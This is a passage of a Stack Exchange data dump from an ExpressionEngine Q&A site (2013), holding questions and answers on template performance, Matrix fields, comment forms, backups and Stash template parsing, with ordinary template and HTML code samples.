  <row Id="6098" PostTypeId="2" ParentId="6082" CreationDate="2013-02-10T03:29:59.627" Score="5" Body="&lt;p&gt;First off it would be a good idea to establish how slow your template is rendering and how many database queries are being performed. I would then strip back your template and add each element back into it individually seeing how many additional queries are needed and how much additional time they take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html#display-output-profiler&quot;&gt;Output Profiler&lt;/a&gt; by going to Admin &gt; System Administration &gt; Output and Debugging. This will show a bunch of useful information including execution time, memory usage and the number of queries performed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relationship fields are probably the main issue in your template as each one will be adding about 3 additional queries per entry. Times that by the 10 entries in your channel entries loop and you are potentially using 30 queries for each relationship field that is being displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have to display relationships or any add-on that uses it's own database table in a listing there are a few things you can do to reduce the number of queries. I will commonly write a plugin with my own custom queries to get the information I need more directly. Greg Aker wrote a good article on &lt;a href=&quot;http://www.gregaker.net/2010/oct/28/with-great-power-comes-great-responsibility/&quot;&gt;creating Expression Engine plugins&lt;/a&gt;. &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot;&gt;Stash&lt;/a&gt; is also very helpful when you need to use query intensive tags more than once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately there's not really a magic bullet when it comes to performance. One of the great things about Expression Engine is that's easy to construct and template quite complex websites. However you can get yourself into a bit of trouble if you don't understand what's going on behind the scenes. Familiarising  yourself with the output profiler and the database queries that are being run for each tag will go a long way when thinking about how you can build a site with performance in mind. &lt;/p&gt;&#xA;" OwnerUserId="975" LastEditorUserId="975" LastEditDate="2013-02-10T05:11:57.733" LastActivityDate="2013-02-10T05:11:57.733" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6099" PostTypeId="2" ParentId="6097" CreationDate="2013-02-10T05:26:37.063" Score="1" Body="&lt;p&gt;This is a little tricky but &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag-relationships&quot; rel=&quot;nofollow&quot;&gt;Low Search's relationship filters&lt;/a&gt; may be able to do what you require. They essentially allow you to limit your search results based on the child or parent entries defined in the search form.&lt;/p&gt;&#xA;" OwnerUserId="975" LastActivityDate="2013-02-10T05:26:37.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6100" PostTypeId="1" AcceptedAnswerId="6103" CreationDate="2013-02-10T10:55:52.177" Score="1" ViewCount="88" Body="&lt;p&gt;I am writing a simple plugin and I want to use some images within the plugin. I assume that the *themes/third_party*-folder is the right place for those. How can I use them? I cannot link to them directly (e.g. &lt;code&gt;&amp;lt;img src=&quot;/themes/third_party/...&quot;&lt;/code&gt;) because the folder is not directly accessible.&lt;/p&gt;&#xA;" OwnerUserId="980" LastActivityDate="2013-02-10T13:36:51.437" Title="How to use images from themes/third_party folder in a plugin?" Tags="|plugin|image|themes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6101" PostTypeId="1" AcceptedAnswerId="6102" CreationDate="2013-02-10T12:44:39.430" Score="0" ViewCount="98" Body="&lt;p&gt;I have a custom add-on which adds a row to the exp_matrix_data DB table. Everything works well with the exception that the &lt;code&gt;{field_name:total_rows}&lt;/code&gt; tag is no longer returning the correct number of matrix rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any places other than exp_matrix_data where my add-on needs to make changes when programatically adding/deleting matrix rows in this way?&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-02-10T12:53:56.563" Title="Matrix total_rows variable not updating after adding rows manually" Tags="|matrix|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6102" PostTypeId="2" ParentId="6101" CreationDate="2013-02-10T12:53:56.563" Score="0" Body="&lt;p&gt;oops, not to worry I think I figured it out - I needed to set &lt;code&gt;field_id_##&lt;/code&gt; in &lt;code&gt;exp_channel_data&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-02-10T12:53:56.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6103" PostTypeId="2" ParentId="6100" CreationDate="2013-02-10T13:11:32.610" Score="3" Body="&lt;p&gt;ExpressionEngine have &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/constants.html&quot; rel=&quot;nofollow&quot;&gt;Path Constants&lt;/a&gt;. You can use PATH_THIRD_THEMES. You should have image path like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$img = &quot;&amp;lt;img src='&quot;.PATH_THIRD_THEMES.&quot;IMAGE_NAME' /&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-02-10T13:36:51.437" LastActivityDate="2013-02-10T13:36:51.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6104" PostTypeId="1" AcceptedAnswerId="6111" CreationDate="2013-02-10T16:18:00.997" Score="0" ViewCount="292" Body="&lt;p&gt;When I do a simple search on my site, I am searching across three channels. One of them is an image gallery set up using Matrix. In the Matrix field for that channel there is a column called &quot;img_caption&quot;, which is, obviously, a caption for the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my search results, I try to trap which channel a search result row is coming from and display the appropriate field (as the &quot;excerpt&quot;) using conditionals, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if summary!=&quot;&quot;}{exp:ce_str:ing remove_html truncate=&quot;150&quot;}{summary}{/exp:ce_str:ing}{/if}&#xA; {if rick_summary!=&quot;&quot;}{exp:ce_str:ing remove_html truncate=&quot;150&quot;}{rick_summary}{/exp:ce_str:ing}{/if}&#xA; {if img_caption!=&quot;&quot;}{exp:ce_str:ing remove_html truncate=&quot;150&quot;}{img_caption}{/exp:ce_str:ing}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do have &quot;custom_field&quot; set to &quot;yes&quot; in the search results tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:search:search_results switch=&quot;resultRowOne|resultRowTwo&quot; custom_fields=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is working for {summary} and {rick_summary} but not for {img_caption}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've edited a few entries in the gallery and resaved them, thinking that might be the issue. And, the img_caption column as well as the matrix field is set to be searchable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search is finding results from the gallery, at least based on the entry title, so I am getting results, just nothing I can use as an excerpt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas for me?&lt;/p&gt;&#xA;" OwnerUserId="881" LastActivityDate="2013-02-11T01:31:58.100" Title="How do I render a matrix field in search results?" Tags="|matrix|simple-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6105" PostTypeId="1" CreationDate="2013-02-10T21:37:56.590" Score="3" ViewCount="93" Body="&lt;p&gt;My client is forever concerned with making big changes in EE. For instance, using Structure to reorder pages, or renaming entire sections of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering: Are there any add-ons that can essentially take a snapshot of the current state of the site, then allow you to roll back to that state if you make a destructive or unwieldy change, or just plain break something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ideally this would be something that works in the EE system and won't require any manual DB backups or anything.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-02-12T10:13:21.647" Title="ExpressionEngine snapshot add-ons?" Tags="|add-on|extension|plugin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6106" PostTypeId="1" AcceptedAnswerId="6108" CreationDate="2013-02-10T21:53:42.200" Score="0" ViewCount="105" Body="&lt;p&gt;I have a list of channel entries written by different authors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create a conditional to display a link if it is a certain author?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I want to display a link to a specific author's Twitter account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So: if screen_name = Bob Smith then Link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-02-10T22:26:29.143" Title="If author/screen_name" Tags="|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6107" PostTypeId="2" ParentId="6105" CreationDate="2013-02-10T21:58:52.557" Score="2" Body="&lt;p&gt;I'm afraid there is not. What i would recommend is that you get a test site setup on either the same server as the live site but in a subdomain so for example 'test.mysite.com', (password protect that of course!), or on a server of identical specification as the live one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then take a copy of your live site, put it in the test subdomain and test your changes. Once you are happy that your change is ok and hasn't broken anything, you can apply it to the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more complex methods which i'll not go into right now, but the above is, in it's simplest terms, what you should be doing :)&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-02-10T21:58:52.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6108" PostTypeId="2" ParentId="6106" CreationDate="2013-02-10T22:26:29.143" Score="1" Body="&lt;p&gt;Seems like you've already answered your own question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if screen_name=='Bob Smith'}link{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-02-10T22:26:29.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6109" PostTypeId="2" ParentId="6104" CreationDate="2013-02-10T22:34:20.517" Score="1" Body="&lt;p&gt;I'm not sure if EE's native search module provides an ID variable. If it did, you could use it in an embedded template to pull the matrix data in with a normal channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the docs for the search module ID doesn't appear to be a valid variable although it might still work, you'd have to test it out. If it doesn't, &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; does give you access to all the variables that work with the Channel entries tag, so you might need to consider that as an alternative.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-02-10T22:34:20.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6110" PostTypeId="1" CreationDate="2013-02-10T23:18:11.520" Score="1" ViewCount="527" Body="&lt;p&gt;I have a comment form that is not functioning properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to submit a comment, nothing gets saved to the database, and instead of retuning me to the specified return URL it returns me to the same single entry page with the comment form. No error is given and no other indication that anything is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other forms on the site like Freeform contact form works fine. Just the comment form is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The weblog and entry I’m testing on both have comments enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s is my template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form channel=&quot;blog&quot; preview=&quot;blog/comment&quot; form_class=&quot;default&quot; return=&quot;{homepage}blog/comment-thanks&quot;}&#xA;     &amp;lt;fieldset&amp;gt;&#xA;      &amp;lt;ul class=&quot;formRow&quot;&amp;gt;&#xA;       {if logged_out}&#xA;       &amp;lt;li class=&quot;third&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;Name &amp;lt;span class=&quot;req&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot;&amp;gt;&#xA;       &amp;lt;/li&amp;gt;&#xA;       &amp;lt;li class=&quot;third&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;Email &amp;lt;span class=&quot;req&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;{email}&quot;&amp;gt;&#xA;       &amp;lt;/li&amp;gt;&#xA;       &amp;lt;li class=&quot;divider&quot;&amp;gt;.&amp;lt;/li&amp;gt;&#xA;       {/if}&#xA;       &amp;lt;li class=&quot;wide&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;Comment &amp;lt;span class=&quot;req&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;textarea name=&quot;comment&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&#xA;       &amp;lt;/li&amp;gt;&#xA;       {if captcha}&#xA;       &amp;lt;li class=&quot;divider&quot;&amp;gt;.&amp;lt;/li&amp;gt;&#xA;       &amp;lt;li class=&quot;wide&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;{captcha} &amp;lt;span class=&quot;req&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot;&amp;gt;&#xA;       &amp;lt;/li&amp;gt;&#xA;       {/if}&#xA;       &amp;lt;li class=&quot;divider&quot;&amp;gt;.&amp;lt;/li&amp;gt;&#xA;       &amp;lt;li class=&quot;buttons&quot;&amp;gt;&#xA;        &amp;lt;a class=&quot;btn submit arrow&quot; href=&quot;#&quot;&amp;gt;Submit Comment&amp;lt;/a&amp;gt;&#xA;       &amp;lt;/li&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;     &amp;lt;/fieldset&amp;gt;&#xA;    {/exp:comment:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I’ve read in other places that forcing trailing slashes on URLs or removing “www” from URLs can cause problems with form submissions. I am using .htaccess to remove index.php but I am not removing “www” nor am I forcing trailing slashes. And as said above other form submissions are working fine, just not comment form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With no error message it’s becoming very difficult for me to tell why else it wouldn’t work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? How can I debug this?&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2013-02-11T21:51:18.120" Title="Comment form not submitting data, not returning to proper return URL" Tags="|comments|comment-form|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6111" PostTypeId="2" ParentId="6104" CreationDate="2013-02-11T01:20:15.190" Score="3" Body="&lt;p&gt;You can display custom field data, including Matrix fields, within the exp:search:search_results tag. In this case it just looks like you have the incorrect syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;img_caption&lt;/code&gt; field is a Matrix column. Matrix columns are only available within the Matrix tag pair, so the column name alone won't display anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_custom_field_name}{img_caption}{/matrix_custom_field_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where matrix_custom_field_name matches the short name for your Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside.... Depending on how many rows are in your gallery and what you'd like your excerpt to look like, you may want to put &lt;code&gt;limit=&quot;1&quot;&lt;/code&gt; on the opening Matrix tag to prevent loading multiple captions.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-02-11T01:31:58.100" LastActivityDate="2013-02-11T01:31:58.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6112" PostTypeId="1" CreationDate="2013-02-11T02:04:29.630" Score="1" ViewCount="47" Body="&lt;p&gt;I want to create a definition list and it's overkill to create a whole separate channel for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally in my channel entry there would be a field to create a definition list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to input the data?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;dl&amp;gt;&#xA;  &amp;lt;dt&amp;gt;Client:&amp;lt;/dt&amp;gt;&#xA;  &amp;lt;dd&amp;gt;&amp;lt;a href=&quot;http://website.com&quot; target=&quot;_blank&quot;&amp;gt;Company name&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;  &amp;lt;dt&amp;gt;Creative Director:&amp;lt;/dt&amp;gt;&#xA;  &amp;lt;dd&amp;gt;&amp;lt;a href=&quot;http://personalsite.com&quot; target=&quot;_blank&quot;&amp;gt;Team Member&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;  &amp;lt;dt&amp;gt;Developers:&amp;lt;/dt&amp;gt;&#xA;  &amp;lt;dd&amp;gt;&amp;lt;a href=&quot;http://http://companysite.com&quot; target=&quot;_blank&quot;&amp;gt;Company&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&amp;lt;/dl&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-02-11T12:42:33.817" Title="Simplest/Most Efficient Way to create a Definition List in channel fields" Tags="|channel-entries|.html|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6113" PostTypeId="2" ParentId="6112" CreationDate="2013-02-11T03:38:44.233" Score="1" Body="&lt;p&gt;Decided to use Matrix. Perfect for what I need. So versatile.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-02-11T03:38:44.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6114" PostTypeId="2" ParentId="6110" CreationDate="2013-02-11T04:08:34.877" Score="1" Body="&lt;p&gt;You should try by using entry_id or url_title parameter with comment form tag like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form channel=&quot;blog&quot; preview=&quot;blog/comment&quot; form_class=&quot;default&quot; return=&quot;{homepage}blog/comment-thanks&quot; entry_id=&quot;ENTRY_ID&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form channel=&quot;blog&quot; preview=&quot;blog/comment&quot; form_class=&quot;default&quot; return=&quot;{homepage}blog/comment-thanks&quot; url_title=&quot;URL_TITLE&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will specify the entry on which comment will be posted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-02-11T04:08:34.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6115" PostTypeId="2" ParentId="6112" CreationDate="2013-02-11T05:58:10.383" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://pixelandtonic.com/divebar&quot; rel=&quot;nofollow&quot;&gt;P&amp;amp;T List&lt;/a&gt; from Pixel and Tonic is also great for doing something like this if you have fixed Definition Terms but need your user to be able to add multiple Definition Descriptions. Just define a new channel field for each DT/DD combo. It's nice and light weight and also free.  &lt;/p&gt;&#xA;" OwnerUserId="975" LastActivityDate="2013-02-11T05:58:10.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6116" PostTypeId="1" AcceptedAnswerId="6121" CreationDate="2013-02-11T06:47:45.373" Score="4" ViewCount="111" Body="&lt;p&gt;I have an extension that relies on certain extension hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hook can be invoked either by function from EE core or third-party module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to be able to tell what function / class has invoked it. Is there a way I can find that?&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-11T11:19:30.090" Title="How to find out what class/function has invoked extension hook?" Tags="|add-on-development|php|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6117" PostTypeId="2" ParentId="6105" CreationDate="2013-02-11T07:00:53.880" Score="1" Body="&lt;p&gt;There is a number of backup add-ons. Some of them back up both database and files. So what you can do is simply making a backup of files and database before you make some changes and then simply restore from backup if you do something wrong.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-11T07:00:53.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6118" PostTypeId="2" ParentId="6090" CreationDate="2013-02-11T07:17:23.193" Score="1" Body="&lt;p&gt;One more vote for Safecracker. This would allow much more flexibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then might use complex conditionals as well as add-ons like &lt;a href=&quot;http://devot-ee.com/add-ons/member-categories&quot; rel=&quot;nofollow&quot;&gt;Member Categories&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/entry-access&quot; rel=&quot;nofollow&quot;&gt;Entry Access&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that the restrictions you set in Control Panel still have effect if you use Safecracker, so member's group should still have access to publish to the channel - even you restrict that somehow on actual entry form page.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-11T07:17:23.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6120" PostTypeId="1" AcceptedAnswerId="6134" CreationDate="2013-02-11T10:00:56.537" Score="3" ViewCount="281" Body="&lt;p&gt;a lot of people are comparing stash with nsm_transplant, so I was wondering if the same thing could be achieved with stash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:nsm_transplant:body}&#xA; {cf_textarea}&#xA; {cf_images_matrix}&#xA;     {exp:nsm_transplant:content id=&quot;image_{row_count}&quot;}&#xA;      {exp:ce_img:pair src=&quot;{image_url:url}&quot; width=&quot;200&quot;}&amp;lt;img src=&quot;{made}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;{gv_alt}&quot; /&amp;gt;{/exp:ce_img:pair}&#xA;     {/exp:nsm_transplant:content}&#xA; {/cf_images_matrix}&#xA;{/exp:nsm_transplant:body} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that way all the {image_x} needles within the {cf_textarea} get replaced with the corresponding  tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;would be nice if stash could do that! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: Follow up for more complex example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, while your example (see next answer) works like a charm, I've tested a few more cases: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Complex example in standalone mode&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:pre_prefix=&quot;static&quot;}&#xA;{exp:channel:entries channel=&quot;ch_static&quot; entry_id=&quot;1130&quot; limit=&quot;1&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;    {exp:stash:parse process=&quot;end&quot;}&#xA;        {cf_{pre_prefix}_block_matrix}&#xA;            &amp;lt;article class=&quot;content_block&quot;&amp;gt;&#xA;                {if title}&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;{/if}&#xA;                {if media AND text}&#xA;                    &amp;lt;div class=&quot;image&quot;&amp;gt;&#xA;                        {media}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;text&quot;&amp;gt;&#xA;                        {text}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {if:else}&#xA;                    {text}{media}&#xA;                {/if}&#xA;            &amp;lt;/article&amp;gt;&amp;lt;!-- end content_block --&amp;gt;&#xA;        {/cf_{pre_prefix}_block_matrix}&#xA;    {/exp:stash:parse}          &#xA;&#xA;    {cf_{pre_prefix}_images_matrix}&#xA;        {exp:stash:set name=&quot;bild_{row_count}&quot; type=&quot;snippet&quot;}&#xA;            {if image_zoom == &quot;y&quot;}&#xA;                &amp;lt;a class=&quot;modalbox_zoom img_link&quot; title=&quot;{image_url:title}&quot; href=&quot;{exp:ce_img:pair src='{image_url:url:max_size}' width='1200' height='800'}{made}{/exp:ce_img:pair}&quot;&amp;gt;&#xA;            {/if}&#xA;            {exp:switchee variable=&quot;{image_size}&quot; parse=&quot;inward&quot;}&#xA;                {case value=&quot;left&quot;}&#xA;                    {exp:ce_img:pair src=&quot;{image_url:url:max_size}&quot; width=&quot;255&quot; allow_scale_larger=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; class=&quot;{image_alignement}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;{title} {image_url:title} {image_url:desc} {gv_alt}&quot; /&amp;gt;{/exp:ce_img:pair}&#xA;                {/case}&#xA;                {case value=&quot;right&quot;}&#xA;                    {exp:ce_img:pair src=&quot;{image_url:url:max_size}&quot; width=&quot;311&quot; allow_scale_larger=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; class=&quot;{image_alignement}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;{title} {image_url:title} {image_url:desc} {gv_alt}&quot; /&amp;gt;{/exp:ce_img:pair}&#xA;                {/case}&#xA;                {case value=&quot;full&quot;}&#xA;                    {exp:ce_img:pair src=&quot;{image_url:url:max_size}&quot; width=&quot;600&quot; allow_scale_larger=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; class=&quot;{image_alignement}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;{title} {image_url:title} {image_url:desc} {gv_alt}&quot; /&amp;gt;{/exp:ce_img:pair}&#xA;                {/case}&#xA;                {case value=&quot;untouched&quot;}&#xA;                    &amp;lt;img src=&quot;{image_url:url}&quot; width=&quot;{image_url:width}&quot; height=&quot;{image_url:height}&quot; alt=&quot;{title} {image_url:title} {image_url:desc}&quot; class=&quot;small_image img_link&quot; /&amp;gt;&#xA;                {/case}&#xA;            {/exp:switchee}&#xA;            {if image_zoom == &quot;y&quot;}&amp;lt;/a&amp;gt;{/if} &#xA;        {/exp:stash:set}&#xA;    {/cf_{pre_prefix}_images_matrix}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;template partials approach:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the standard template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_wrapper/_standard&quot;}&#xA;&#xA;{preload_replace:pre_prefix=&quot;static&quot;}&#xA;{if in_group(1)}{preload_replace:pre_status=&quot;open|Draft&quot;}{/if}{preload_replace:pre_status=&quot;open&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;ch_static&quot; limit=&quot;1&quot; status=&quot;{pre_status}&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;&#xA;    {!-- misc stuff --}&#xA;    {exp:stash:set scope=&quot;site&quot;}&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:og_image}{cf_{pre_prefix}_images_matrix limit=&quot;1&quot;}{exp:ce_img:pair src=&quot;{image_url:url:max_size}&quot; width=&quot;250&quot;}{made}{/exp:ce_img:pair}{/cf_{pre_prefix}_images_matrix}{/stash:og_image}&#xA;        {stash:status}{pre_status}{/stash:status}&#xA;        {stash:background_image}{cf_{pre_prefix}_background limit=&quot;1&quot;}{url:max_size}{/cf_{pre_prefix}_background}{/stash:background_image}&#xA;        {stash:color}{sp_color}{/stash:color}&#xA;    {/exp:stash:set}&#xA;&#xA;    {!-- preparing the content, but not outputting it yet --}&#xA;    {exp:stash:set scope=&quot;site&quot; name=&quot;main_content&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; output=&quot;no&quot;}&#xA;        {cf_{pre_prefix}_block_matrix}&#xA;            &amp;lt;article class=&quot;content_block{if status == 'Draft'} logged_in{/if}&quot;&amp;gt;&#xA;                {if title}&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;{/if}&#xA;                {if media AND text}&#xA;                    &amp;lt;div class=&quot;image&quot;&amp;gt;&#xA;                        {media}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;text&quot;&amp;gt;&#xA;                        {text}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {if:else}&#xA;                    {text}{media}&#xA;                {/if}&#xA;            &amp;lt;/article&amp;gt;&amp;lt;!-- end content_block --&amp;gt;&#xA;        {/cf_{pre_prefix}_block_matrix}&#xA;        &amp;lt;p class=&quot;last_edited hidden&quot;&amp;gt;&amp;lt;time datetime=&quot;{entry_date format=&quot;{sp_datetime_format}&quot;}&quot;&amp;gt;Letzte Änderung am {edit_date format=&quot;%Y-%m-%d&quot;}&amp;lt;/time&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/exp:stash:set}&#xA;&#xA;    {!-- setting the inline edit links --}&#xA;    {exp:stash:set scope=&quot;user&quot; name=&quot;edit_main_content&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;        {if member_group == &quot;1&quot;}&amp;lt;p  class=&quot;hide_on_demand&quot;&amp;gt;&amp;lt;a class=&quot;modalbox_edit&quot; 